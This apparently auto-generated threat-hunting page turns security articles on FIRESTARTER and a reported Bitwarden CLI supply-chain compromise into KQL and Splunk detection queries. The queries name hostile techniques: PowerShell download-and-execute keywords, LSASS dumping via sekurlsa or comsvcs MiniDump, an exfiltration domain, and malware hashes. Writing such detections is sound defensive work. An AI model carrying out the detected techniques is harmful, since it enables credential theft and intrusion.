| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Browser-pasted PowerShell launched from explorer/Run dialog — ClickFix social engineering.
ATT&CKT1204.004T1059.001
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("explorer.exe","RuntimeBroker.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","mshta.exe")
| where ProcessCommandLine matches regex @"(?i)(iex|invoke-expression|frombase64|downloadstring|hxxp|curl |wget )"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("explorer.exe","RuntimeBroker.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","mshta.exe")
AND (Processes.process="*iex*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*FromBase64*" OR Processes.process="*DownloadString*"
OR Processes.process="*hxxp*" OR Processes.process="*curl*" OR Processes.process="*wget*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Ransomware-style mass file rename / extension changeActions on ObjectivesMedium
Threshold detection: many files renamed in short window, often with new extension.
ATT&CKT1486
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(1d)
| where ActionType in ("FileRenamed","FileModified")
| summarize files = dcount(FileName) by DeviceName, AccountName, bin(Timestamp, 1m)
| where files > 200
| order by files desc
| tstats `summariesonly` count, dc(Filesystem.file_name) AS files
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("modified","renamed")
by Filesystem.dest, Filesystem.user, _time span=1m
| `drop_dm_object_name(Filesystem)`
| where files > 200
| sort - files
LSASS process access / dump (credential theft)Actions on ObjectivesHigh
Mimikatz, comsvcs.dll MiniDump, or any non-Windows process opening LSASS.
ATT&CKT1003.001T1003
Data sourcesEndpoint.ProcessesDeviceEvents
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsSense.exe","MsMpEng.exe","csrss.exe",
"svchost.exe","wininit.exe","services.exe",
"lsm.exe","SearchProtocolHost.exe")
| project Timestamp, DeviceName, ActionType, FileName,
InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessFolderPath, AccountName
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where (Processes.process="*lsass*" OR Processes.process="*sekurlsa*"
OR Processes.process="*MiniDump*" OR Processes.process="*comsvcs.dll*MiniDump*"
OR Processes.process="*procdump*lsass*")
OR (Processes.process_name="rundll32.exe" AND Processes.process="*comsvcs*MiniDump*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
RMM tool installed by non-IT user — remote-access utility for hands-on-keyboardInstallationHigh
ConnectWise / AnyDesk / TeamViewer / ScreenConnect / Atera installed outside IT change windows = common tradecraft for ransomware affiliates and IT-helpdesk impersonators.
ATT&CKT1219
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe")
or FileName matches regex @"(?i)kaseya.*\.exe"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe","kaseya*.exe")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where Filesystem.file_hash IN ("9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507", "96fa6a7714670823c83099ea01d24d6d3ae8fef027f01a4ddac14f123b1c9974", "90b1456cdbe6bc2779ea0b4736ed9a998a71ae37390331b6ba87e389a49d3d59", "5e6060df7e8114cb7b412260870efd1dc05979454bd907d8750c669ae6fcbcfe", "3c1dbc3f56e91cc79f0014850e773a7f12bbfef06680f08f883b2bf12873eccc", "2915b3f8b703eb744fc54c81f4a9c67f", "aac3165ece2959f39ff98334618d10d9", "c2efb2dcacba6d3ccc175b6ce1b7ed0a", "a2cf85d22a54e26794cbc7be16840bb1", "d749e0f8f2cd4e14178a787571534121")
by Filesystem.dest, Filesystem.user, Filesystem.file_path, Filesystem.file_name, Filesystem.file_hash
| `drop_dm_object_name(Filesystem)`
| append
[| tstats `summariesonly` count from datamodel=Endpoint.Processes
where Processes.process_hash IN ("9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507", "96fa6a7714670823c83099ea01d24d6d3ae8fef027f01a4ddac14f123b1c9974", "90b1456cdbe6bc2779ea0b4736ed9a998a71ae37390331b6ba87e389a49d3d59", "5e6060df7e8114cb7b412260870efd1dc05979454bd907d8750c669ae6fcbcfe", "3c1dbc3f56e91cc79f0014850e773a7f12bbfef06680f08f883b2bf12873eccc", "2915b3f8b703eb744fc54c81f4a9c67f", "aac3165ece2959f39ff98334618d10d9", "c2efb2dcacba6d3ccc175b6ce1b7ed0a", "a2cf85d22a54e26794cbc7be16840bb1", "d749e0f8f2cd4e14178a787571534121")
by Processes.dest, Processes.user, Processes.process_name, Processes.process_hash
| `drop_dm_object_name(Processes)`]
Article-specific behavioural hunt — It pays to be a forever studentExploitationHigh
Auto-generated hunt targeting the specific binaries, paths, registry locations and command-line fragments named in this article. Hunting tier — needs analyst review and environment tuning before promotion to alerting.
ATT&CKT1204.002
Data sourcesEndpoint.ProcessesEndpoint.FilesystemEndpoint.Registry
// Article-specific bespoke detection — It pays to be a forever student
// Hunts the actual binaries / paths / commandline fragments named
// in the article instead of a generic technique-class template.
DeviceProcessEvents
| where Timestamp > ago(30d)
| where (FileName in~ ("vid001.exe", "d4aa3e7010220ad1b458fac17039c274_63_exe.exe", "apq9305.dll", "a2cf85d22a54e26794cbc7be16840bb1.exe", "kitchencanvas_753447.exe"))
| project Timestamp, DeviceName, AccountName, FileName,
FolderPath, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
// File-creation events for the named binaries / paths
DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType in ("FileCreated","FileModified")
| where (FileName in~ ("vid001.exe", "d4aa3e7010220ad1b458fac17039c274_63_exe.exe", "apq9305.dll", "a2cf85d22a54e26794cbc7be16840bb1.exe", "kitchencanvas_753447.exe"))
| project Timestamp, DeviceName, AccountName, FolderPath,
FileName, ActionType, InitiatingProcessFileName,
InitiatingProcessCommandLine
| order by Timestamp desc
``` Article-specific bespoke detection — It pays to be a forever student ```
| tstats `summariesonly` count earliest(_time) AS firstTime latest(_time) AS lastTime
from datamodel=Endpoint.Processes
where (Processes.process_name IN ("vid001.exe","d4aa3e7010220ad1b458fac17039c274_63_exe.exe","apq9305.dll","a2cf85d22a54e26794cbc7be16840bb1.exe","kitchencanvas_753447.exe"))
by Processes.dest, Processes.user, Processes.process_name,
Processes.process, Processes.parent_process_name, Processes.process_path
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)`
| append [
| tstats `summariesonly` count
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("created","modified")
AND (Filesystem.file_name IN ("vid001.exe","d4aa3e7010220ad1b458fac17039c274_63_exe.exe","apq9305.dll","a2cf85d22a54e26794cbc7be16840bb1.exe","kitchencanvas_753447.exe"))
by Filesystem.dest, Filesystem.user, Filesystem.process_name,
Filesystem.file_path, Filesystem.file_name
| `drop_dm_object_name(Filesystem)`
]
[LLM] Access to Softr-hosted credential-harvesting page mimicking OWA/ExchangeDeliveryMedium
Hunts user web traffic to *.softr.app / *.softr.io landing pages — Talos IR Q1 2026 confirmed adversaries are using Softr's AI 'vibe coding' platform to spin up Microsoft Exchange/Outlook Web Access credential-harvesting pages with no code. Pairs with EmailUrlInfo to find the originating phish.
Rationale: Article + cross-checked Talos IR Q1 2026 blog explicitly call out Softr's vibe-coding feature being used to host phishing pages mimicking OWA — the *.softr.app / *.softr.io strings are the exact infrastructure pattern. Most enterprises have ~zero legitimate use of Softr-hosted apps, making domain-based detection feasible.
Cross-checked against:
• https://blog.talosintelligence.com/ir-trends-q1-2026/
• https://www.helpnetsecurity.com/2026/04/22/cisco-phishing-initial-access-2026/
• https://www.cybersecuritydive.com/news/phishing-initial-access-ai-cisco/818185/
ATT&CKT1566.002T1056.003T1583.006
Data sourcesWebNetwork_Resolution
let softrDomains = dynamic(["softr.app","softr.io","softr.dev"]);
let softrHits = DeviceNetworkEvents
| where Timestamp > ago(30d)
| where RemoteUrl has_any (softrDomains)
| where ActionType in ("ConnectionSuccess","HttpConnectionInspected")
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessAccountName, RemoteUrl, RemoteIP;
let emailDelivery = EmailUrlInfo
| where Url has_any (softrDomains)
| join kind=inner EmailEvents on NetworkMessageId
| project NetworkMessageId, Url, SenderFromAddress, RecipientEmailAddress, Subject, DeliveryAction;
softrHits
| join kind=leftouter emailDelivery on $left.RemoteUrl == $right.Url
| project Timestamp, DeviceName, InitiatingProcessAccountName, RemoteUrl, RemoteIP, SenderFromAddress, RecipientEmailAddress, Subject, DeliveryAction
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Web.url) as urls values(Web.http_method) as methods values(Web.http_user_agent) as user_agents from datamodel=Web where (Web.url="*softr.app*" OR Web.url="*softr.io*" OR Web.site="*.softr.app" OR Web.site="*.softr.io") by Web.src Web.user Web.dest Web.site
| `drop_dm_object_name(Web)`
| eval suspicious=if(match(urls,"(?i)(login|sign[-_]?in|owa|outlook|exchange|auth|verify|mail)") OR match(methods,"POST"),1,0)
| where suspicious=1
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Adversarial TruffleHog execution scanning for cloud / repo secretsActions on ObjectivesMedium
Detects in-environment use of the open-source TruffleHog secret scanner — Talos IR Q1 2026 reports threat actors abusing TruffleHog post-access to hunt exposed cloud credentials and API keys. Most enterprises only run TruffleHog from CI runners; interactive runs on workstations or random servers are highly suspicious.
Rationale: Article explicitly names TruffleHog as a legitimate developer tool being abused by Q1 2026 actors to hunt exposed secrets. The binary name + scan-mode subcommands (filesystem/github/s3/gcs/azure) are TruffleHog v3 syntax and are extremely uncommon outside CI pipelines, so excluding known build-agent paths gives a low-volume, high-signal hunt.
Cross-checked against:
• https://blog.talosintelligence.com/ir-trends-q1-2026/
• https://www.helpnetsecurity.com/2026/04/22/cisco-phishing-initial-access-2026/
ATT&CKT1552.001T1555.006T1083T1588.002
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where Timestamp > ago(30d)
| where FileName =~ "trufflehog.exe" or FileName =~ "trufflehog"
or ProcessCommandLine matches regex @"(?i)\btrufflehog(\.exe)?\b"
or InitiatingProcessCommandLine matches regex @"(?i)\btrufflehog(\.exe)?\b"
| extend ScanTarget = case(
ProcessCommandLine has_cs " filesystem ", "filesystem",
ProcessCommandLine has_any (" github ", " gitlab ", " git "), "repo",
ProcessCommandLine has_any (" s3 ", " gcs ", " azure "), "cloud-bucket",
ProcessCommandLine has " docker ", "docker",
ProcessCommandLine has_any ("--no-verification","--results","--json"), "flagged",
"other")
| where ScanTarget != "other"
| where not(InitiatingProcessFolderPath has_any ("\\agent\\","\\runners\\","\\jenkins\\","\\azure-pipelines\\"))
| project Timestamp, DeviceName, AccountName, FileName, FolderPath, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, SHA256, ScanTarget
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_path) as path values(Processes.process_hash) as hashes from datamodel=Endpoint.Processes where (Processes.process_name="trufflehog.exe" OR Processes.process_name="trufflehog" OR Processes.process="*trufflehog *" OR Processes.original_file_name="trufflehog*") by Processes.dest Processes.user Processes.process_name
| `drop_dm_object_name(Processes)`
| eval scan_target=case(match(cmdline,"(?i) filesystem "),"filesystem", match(cmdline,"(?i) (github|gitlab|git) "),"repo", match(cmdline,"(?i) (s3|gcs|azure) "),"cloud-bucket", match(cmdline,"(?i) docker "),"docker", true(),"other")
| where scan_target!="other" OR match(cmdline,"(?i)(--no-verification|--results|--json)")
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Hunts inbound HTTP requests to Cisco ASA/Firepower WebVPN endpoints (/+CSCOE+/, /+webvpn+/) consistent with UAT-4356/ArcaneDoor exploitation chains for CVE-2025-20333 and CVE-2025-20362, which deploy the FIRESTARTER backdoor that survives firmware patches via CSP_MOUNT_LIST persistence. Requires ASA syslog or perimeter web-tier logs forwarded to the SIEM.
Rationale: Article cites UAT-4356 + FIRESTARTER + CVE-2025-20333/20362 by name. Cross-checked Talos blog and CISA advisory confirm exploitation lands on ASA WebVPN HTTP request handler and the implant uses CSP_MOUNT_LIST for persistence — so /+CSCOE+/ and /+webvpn+/ URI patterns are the exposed exploit surface. The Talos most-prevalent-malware hashes are also seeded in the Defender query as a low-cost retro check (drop if FP after first run).
Cross-checked against:
• https://blog.talosintelligence.com/uat-4356-firestarter/
• https://www.securityweek.com/us-federal-agencys-cisco-firewall-infected-with-firestarter-backdoor/
• https://thehackernews.com/2026/04/firestarter-backdoor-hit-federal-cisco.html
• https://cyberscoop.com/cisco-firestarter-malware-cisa-warning/
ATT&CKT1190T1133T1542.005T1205
Data sourcesWebNetwork_Traffic.All_Traffic
// Defender Advanced Hunting has no native Cisco ASA telemetry; this looks for internal hosts pivoting to ASA WebVPN URIs (post-compromise lateral) and for Cisco-flagged file artifacts referenced by Talos. Pair with Sentinel CommonSecurityLog for true exploit-traffic visibility.
let asaUriIndicators = dynamic(["+CSCOE+","+webvpn+","/+CSCOE+/","/+webvpn+/","+CSCOE+/logon.html","+CSCOE+/saml"]);
let known_firestarter_hashes = dynamic([
"9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507",
"96fa6a7714670823c83099ea01d24d6d3ae8fef027f01a4ddac14f123b1c9974",
"90b1456cdbe6bc2779ea0b4736ed9a998a71ae37390331b6ba87e389a49d3d59"]);
DeviceNetworkEvents
| where Timestamp > ago(30d)
| where RemoteUrl has_any (asaUriIndicators)
| where ActionType in ("ConnectionSuccess","HttpConnectionInspected")
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessAccountName, RemoteUrl, RemoteIP, RemotePort
| union (
DeviceFileEvents
| where Timestamp > ago(30d)
| where SHA256 in (known_firestarter_hashes)
| project Timestamp, DeviceName, FileName, FolderPath, SHA256, InitiatingProcessFileName, InitiatingProcessCommandLine
)
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Web.url) as urls values(Web.http_user_agent) as user_agents values(Web.status) as statuses values(Web.http_content_type) as content_types from datamodel=Web where (Web.url="*/+CSCOE+/*" OR Web.url="*/+webvpn+/*" OR Web.url="*/+CSCOE+/logon.html*" OR Web.url="*/+CSCOE+/saml/sp/acs*" OR Web.url="*/+webvpn+/index.html*") AND Web.http_method="POST" by Web.src Web.dest
| `drop_dm_object_name(Web)`
| eval external_src=if(cidrmatch("10.0.0.0/8",src) OR cidrmatch("172.16.0.0/12",src) OR cidrmatch("192.168.0.0/16",src),0,1)
| where external_src=1
| eval cve=case(match(urls,"(?i)logon\.html|saml|webvpn/index"),"CVE-2025-20333/20362-candidate", true(),"unknown")
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-04-234 use cases2 techniques5 kill-chain phases detected
Cisco Talos is aware of UAT-4356's continued active targeting of Cisco Firepower devices’ Firepower eXtensible Operating System (FXOS). UAT-4356 exploited n-day vulnerabilities (CVE-2025-20333 and CVE-2025-20362) to gain unauthorized access to vulnerable devices.
CVEsCVE-2025-20333CVE-2025-20362
ATT&CKT1190T1204.002
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2025-20333", "CVE-2025-20362")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2025-20333", "CVE-2025-20362")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Article-specific behavioural hunt — UAT-4356's Targeting of Cisco Firepower DevicesInstallationHigh
Auto-generated hunt targeting the specific binaries, paths, registry locations and command-line fragments named in this article. Hunting tier — needs analyst review and environment tuning before promotion to alerting.
ATT&CKT1204.002
Data sourcesEndpoint.ProcessesEndpoint.FilesystemEndpoint.Registry
// Article-specific bespoke detection — UAT-4356's Targeting of Cisco Firepower Devices
// Hunts the actual binaries / paths / commandline fragments named
// in the article instead of a generic technique-class template.
// File-creation events for the named binaries / paths
DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType in ("FileCreated","FileModified")
| where (FolderPath has_any ("/opt/cisco/platform/logs/var/log/svc_samcore.log", "/usr/bin/lina_cs"))
| project Timestamp, DeviceName, AccountName, FolderPath,
FileName, ActionType, InitiatingProcessFileName,
InitiatingProcessCommandLine
| order by Timestamp desc
``` Article-specific bespoke detection — UAT-4356's Targeting of Cisco Firepower Devices ```
| tstats `summariesonly` count
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("created","modified")
AND (Filesystem.file_path="*/opt/cisco/platform/logs/var/log/svc_samcore.log*" OR Filesystem.file_path="*/usr/bin/lina_cs*")
by Filesystem.dest, Filesystem.user, Filesystem.process_name,
Filesystem.file_path, Filesystem.file_name
| `drop_dm_object_name(Filesystem)`
[LLM] FIRESTARTER on-disk artifacts on Cisco ASA/FTD (lina_cs, svc_samcore.log, CSP_MOUNTLIST)InstallationHigh
Hunts for FIRESTARTER's hardcoded persistence artifacts on Cisco ASA/Firepower (FXOS) devices when device shell, expert-mode audit, or Cisco Secure Endpoint telemetry is forwarded to the SIEM. Looks for the trojan binary at /usr/bin/lina_cs, the dormant copy in svc_samcore.log, the CSP_MOUNTLIST.tmp restoration artifact, and operator/automation runs of `show kernel process | include lina_cs`. These names are unique to UAT-4356's implant and have no benign use on FXOS.
Rationale: Talos and CISA AR26-113A both name `/usr/bin/lina_cs`, `/opt/cisco/platform/logs/var/log/svc_samcore.log`, the `CSP_MOUNT_LIST` manipulation and `show kernel process | include lina_cs` as direct FIRESTARTER indicators. These strings have no legitimate FXOS purpose and are not used by stock Cisco binaries, so any sighting is high-fidelity for UAT-4356/ArcaneDoor.
Cross-checked against:
• https://www.cisa.gov/news-events/analysis-reports/ar26-113a
• https://www.bleepingcomputer.com/news/security/firestarter-malware-survives-cisco-firewall-updates-security-patches/
• https://www.secpod.com/blog/deep-dive-into-firestarter-persistent-backdoor-on-cisco-asa-firepower-devices/
• https://sec.cloudapps.cisco.com/security/center/resources/asa_ftd_continued_attacks
ATT&CKT1543T1554T1014T1037.004
Data sourcesEndpoint.FilesystemEndpoint.Processes
let names = dynamic(["lina_cs","svc_samcore.log","CSP_MOUNTLIST.tmp","CSP_MOUNT_LIST"]);
let paths = dynamic(["/usr/bin/lina_cs","/opt/cisco/platform/logs/var/log/svc_samcore.log"]);
DeviceFileEvents
| where Timestamp > ago(90d)
| where FileName in~ (names) or FolderPath in~ (paths) or FolderPath has_any (paths)
| project Timestamp, DeviceName, ActionType, FileName, FolderPath, InitiatingProcessFileName, InitiatingProcessCommandLine, SHA256
| union (
DeviceProcessEvents
| where Timestamp > ago(90d)
| where ProcessCommandLine has_any ("lina_cs","svc_samcore.log","CSP_MOUNT_LIST","CSP_MOUNTLIST.tmp","pidof lina_cs","show kernel process")
| project Timestamp, DeviceName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, AccountName
)
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Filesystem.user) as user values(Filesystem.dest) as dest values(Filesystem.action) as action from datamodel=Endpoint.Filesystem where (Filesystem.file_path IN ("/usr/bin/lina_cs","/opt/cisco/platform/logs/var/log/svc_samcore.log") OR Filesystem.file_name IN ("lina_cs","svc_samcore.log","CSP_MOUNTLIST.tmp","CSP_MOUNT_LIST")) by Filesystem.dest Filesystem.file_path Filesystem.file_name Filesystem.process_guid | `drop_dm_object_name(Filesystem)` | append [| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Processes.user) as user values(Processes.process) as process from datamodel=Endpoint.Processes where (Processes.process="*lina_cs*" OR Processes.process="*show kernel process*lina_cs*" OR Processes.process="*pidof lina_cs*" OR Processes.process="*CSP_MOUNT_LIST*" OR Processes.process="*svc_samcore.log*") by Processes.dest Processes.process_name Processes.process Processes.parent_process_name | `drop_dm_object_name(Processes)`] | convert ctime(firstTime) ctime(lastTime)
Alerts when an upstream Snort/Firepower IPS sensor flags the Cisco-published rules that cover CVE-2025-20333, CVE-2025-20362, and FIRESTARTER itself, with the destination being a known ASA/FTD WebVPN HTTPS service. Correlates the IDS hit with subsequent outbound HTTPS from the same ASA management/data interface within 1 hour to surface successful exploit + Stage-2 shellcode beaconing.
Rationale: The Talos blog explicitly publishes Snort SIDs 65340 and 46897 for the two exploited CVEs and SID 62949 for FIRESTARTER itself; CISA Emergency Directive ED 25-03 corroborates active exploitation of the same chain by UAT-4356/Storm-1849. Filtering on those three SIDs (and the named CVEs/campaign aliases) plus a follow-on outbound flow from the firewall itself yields a high-confidence successful-compromise signal rather than a noisy scan.
Cross-checked against:
• https://blog.talosintelligence.com/uat-4356-firestarter/
• https://sec.cloudapps.cisco.com/security/center/resources/asa_ftd_continued_attacks
• https://www.tenable.com/blog/cve-2025-20333-cve-2025-20362-faq-cisco-asa-ftd-zero-days-uat4356
• https://www.cisa.gov/news-events/directives/ed-25-03-identify-and-mitigate-potential-compromise-cisco-devices
ATT&CKT1190T1133T1059
Data sourcesNetwork_IDS_AttacksNetwork_Traffic.All_Traffic
// Pivots on Defender XDR alert ingestion of upstream Snort/Firepower events tagged with Cisco's published SIDs/CVEs
AlertInfo
| where Timestamp > ago(30d)
| where Title has_any ("CVE-2025-20333","CVE-2025-20362","FIRESTARTER","ArcaneDoor","UAT-4356","UAT4356","Storm-1849")
or Title has_any ("sid:65340","sid:46897","sid:62949","1:65340","1:46897","1:62949")
| join kind=inner (AlertEvidence | project AlertId, DeviceId, DeviceName, RemoteIP=tostring(parse_json(AdditionalFields).RemoteIP), LocalIP=tostring(parse_json(AdditionalFields).LocalIP)) on AlertId
| join kind=leftouter (
DeviceNetworkEvents
| where Timestamp > ago(30d)
| where RemotePort in (443, 8443) and ActionType == "ConnectionSuccess"
| summarize OutboundFlows=count(), OutboundDsts=make_set(RemoteIP, 25) by DeviceId
) on DeviceId
| where isnotempty(OutboundFlows)
| project Timestamp, Title, DeviceName, LocalIP, RemoteIP, OutboundFlows, OutboundDsts
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(IDS_Attacks.signature) as signature values(IDS_Attacks.signature_id) as sid values(IDS_Attacks.src) as src values(IDS_Attacks.dest) as dest from datamodel=Network_IDS_Attacks where IDS_Attacks.signature_id IN ("65340","46897","62949") OR IDS_Attacks.signature IN ("*CVE-2025-20333*","*CVE-2025-20362*","*FIRESTARTER*","*ArcaneDoor*") by IDS_Attacks.dest IDS_Attacks.src IDS_Attacks.signature_id | `drop_dm_object_name(IDS_Attacks)` | join type=inner dest [| tstats `summariesonly` count as outbound_flows values(All_Traffic.dest) as outbound_dest values(All_Traffic.dest_port) as outbound_port from datamodel=Network_Traffic.All_Traffic where All_Traffic.src_category="asa_ftd" OR All_Traffic.src_category="firepower" by All_Traffic.src | rename All_Traffic.src as dest | `drop_dm_object_name(All_Traffic)`] | where outbound_flows > 0 | convert ctime(firstTime) ctime(lastTime)
2026-04-2312 use cases5 techniques6 kill-chain phases detected
Bitwarden CLI, the command-line interface for the password manager Bitwarden, has reportedly been compromised as part of a newly discovered and ongoing Checkmarx supply chain campaign, according to findings from JFrog and Socket. "The affected package version appears to be @bitwarden/cli@2026.4.0, and the malicious code was published in 'bw1.js,' a file included in the package contents," the
CVEsCVE-2026-33626CVE-2026-32202CVE-2026-3854
ATT&CKT1176T1190T1195.002T1204.002T1555.003
Domainsaudit.checkmarx.cx
Click any ATT&CK pill below to open it on the Matrix
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → Suspicious browser extension installation · [LLM] Malicious @bitwarden/cli@2026.4.0 payload (bw1.js / bw_setup.js) execution or write · [LLM] npm preinstall bootstrapping Bun runtime then executing local JS (TeamPCP TTP)
Command & Control. Beacon to attacker infrastructure for control and tasking. → Beaconing — periodic outbound to small set of destinations · Network connections to article IPs / domains · [LLM] TeamPCP credential exfiltration to audit.checkmarx.cx / 94.154.172.43
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Infostealer — non-browser process accessing browser cookie/login DBs
Beaconing — periodic outbound to small set of destinationsCommand & ControlMedium
C2 channel detection via inter-beacon-time stddev / fan-out to single dest.
ATT&CKT1071.001T1071.004
Data sourcesNetwork_Traffic.All_TrafficDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where RemoteIPType == "Public" and ActionType == "ConnectionSuccess"
| project DeviceName, RemoteIP, RemotePort, Timestamp
| sort by DeviceName asc, RemoteIP asc, RemotePort asc, Timestamp asc
| extend prev_dev = prev(DeviceName, 1), prev_ip = prev(RemoteIP, 1),
prev_port = prev(RemotePort, 1), prev_ts = prev(Timestamp, 1)
| where DeviceName == prev_dev and RemoteIP == prev_ip and RemotePort == prev_port
| extend delta_sec = datetime_diff('second', Timestamp, prev_ts)
| summarize conn_count = count(), avg_delta = avg(delta_sec), stdev_delta = stdev(delta_sec)
by DeviceName, RemoteIP, RemotePort
| where conn_count > 30 and avg_delta between (30.0 .. 600.0) and stdev_delta < 5.0
| order by conn_count desc
| tstats `summariesonly` count, values(All_Traffic.dest_port) AS ports
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.action="allowed" AND All_Traffic.dest_category!="internal"
by _time span=10s, All_Traffic.src, All_Traffic.dest
| `drop_dm_object_name(All_Traffic)`
| streamstats current=f last(_time) AS prev_time by src, dest
| eval delta = _time - prev_time
| stats avg(delta) AS avg_delta stdev(delta) AS sd_delta count by src, dest
| where count > 30 AND sd_delta < 5 AND avg_delta>=30 AND avg_delta<=600
| sort - count
Network connections to article IPs / domainsCommand & ControlHigh
Outbound traffic to attacker infrastructure named in the article.
ATT&CKT1071
Data sourcesNetwork_Traffic.All_TrafficWebNetwork_Resolution.DNSDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteIP in ("") or RemoteUrl has_any ("audit.checkmarx.cx")
| project Timestamp, DeviceName, ActionType, RemoteIP, RemotePort, RemoteUrl,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.dest IN ("")
by All_Traffic.src, All_Traffic.dest, All_Traffic.dest_port
| `drop_dm_object_name(All_Traffic)`
| append
[| tstats `summariesonly` count from datamodel=Web
where Web.dest IN ("audit.checkmarx.cx")
by Web.src, Web.dest, Web.url, Web.user
| `drop_dm_object_name(Web)`]
| append
[| tstats `summariesonly` count from datamodel=Network_Resolution.DNS
where DNS.query IN ("audit.checkmarx.cx")
by DNS.src, DNS.query, DNS.answer
| `drop_dm_object_name(DNS)`]
Side-loaded / unsigned extensions, often masquerading as wallets, productivity tools.
ATT&CKT1176
Data sourcesEndpoint.RegistryDeviceRegistryEvents
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where RegistryKey has_any ("\Software\Google\Chrome\Extensions\","\Software\Microsoft\Edge\Extensions\","\Software\Mozilla\Firefox\Extensions\")
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData,
InitiatingProcessFileName, InitiatingProcessAccountName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Registry
where (Registry.registry_path="*\Software\Google\Chrome\Extensions\*"
OR Registry.registry_path="*\Software\Microsoft\Edge\Extensions\*"
OR Registry.registry_path="*\Software\Mozilla\Firefox\Extensions\*")
